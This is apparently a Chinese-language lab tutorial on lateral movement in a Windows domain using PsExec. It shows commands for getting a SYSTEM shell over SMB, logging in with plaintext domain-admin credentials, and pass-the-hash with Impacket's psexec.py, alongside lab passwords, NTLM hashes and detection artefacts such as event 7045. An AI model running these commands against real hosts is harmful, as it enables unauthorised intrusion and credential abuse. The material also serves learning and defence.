PsExec 横向

PsExec 工具介绍

PsExec 主要用于大批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec 是 Windows 提供的工具,所以杀毒软件将其列入白名单中)

因为使用 PsExec 通过命令行环境与目标机器建立连接,甚至控制目标机器,而不需要通过远程桌面(RDP)进行图形化的控制。

PsExec 包含在 PsTools 工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip

通过 PsExec 可以在远程目标主机上执行命令,也可以将管理员权限提升到 System 权限以运行指定的程序。

PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。

PsExec 工具使用

实验环境

  • 域:trtyr.top
  • 域用户
    • 域管理员
      • 用户名:administrator
      • 密码:Admin@123
      • NTLM Hash:570a9a65db8fba761c1008a51d4c95ab
    • 普通域用户
      • 用户名:trtyr
      • 密码:Admin!123
      • NTLM Hash:c13cf012e9aee204132010c5362f7538
  • 目标主机:192.168.52.136

SMB 横向

在已经拿到 IPC$ 共享的情况下

使用 PsExec 执行如下命令,通过 -s 参数可获取 System 权限的 Shell:

1
PsExec.exe -accepteula \\192.168.52.136 -s cmd.exe

如果不加 -s 参数,就是 administrator 权限用户

如果没有建立 IPC$PsExec 可以通过指定的账号和密码进行远程连接

1
PsExec.exe \\192.168.52.136 -u trtyr\administrator -p "Admin@123" -s cmd.exe

使用 PsExec 在远程计算机上执行命令进行回显:

1
PsExec.exe \\192.168.52.136 -u trtyr\administrator -p "Admin@123" -s cmd.exe /c "whoami"

PTH 横向

PsExec 没办法直接 PTH,需要 mimikatz 先生成一个会话凭证,然后再用 PsExec

我们在 CS 中进行

可以用 Impacket 里的 PsExec.py 进行 PTH

1
python psexec.py -hashes :570a9a65db8fba761c1008a51d4c95ab 'trtyr.top/administrator@192.168.52.136'

注意事项

使用 PsExec 时,目标主机上会出现一个 PSEXESVC.exe 进程

以及 PSEXESVC 服务

出现 7045 的系统日志

在使用 PsExec 时,无论是通过 net use 在执行 PsExec;还是直接用 PsExec 使用用户密码进行登录,一定要用管理员权限,否则会报 拒绝访问。

在指定用户名和密码进行登录时,一定要加 -s 参数,不然可能会出现 登录失败: 未授予用户在此计算机上的请求登录类型。 报错

在使用 PsExec.py 时,注意!是 -hashes :570a9a65db8fba761c1008a51d4c95ab,而不是 -hashes:570a9a65db8fba761c1008a51d4c95ab